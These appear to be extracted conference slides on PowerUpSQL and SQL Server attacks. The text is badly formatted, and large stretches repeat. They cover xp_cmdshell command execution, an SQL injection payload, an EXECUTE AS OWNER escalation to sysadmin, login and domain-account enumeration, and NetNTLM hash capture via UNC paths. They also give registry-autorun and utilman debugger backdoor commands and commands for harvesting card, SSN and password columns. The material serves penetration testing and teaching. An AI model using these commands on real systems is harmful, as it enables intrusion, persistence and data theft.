- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
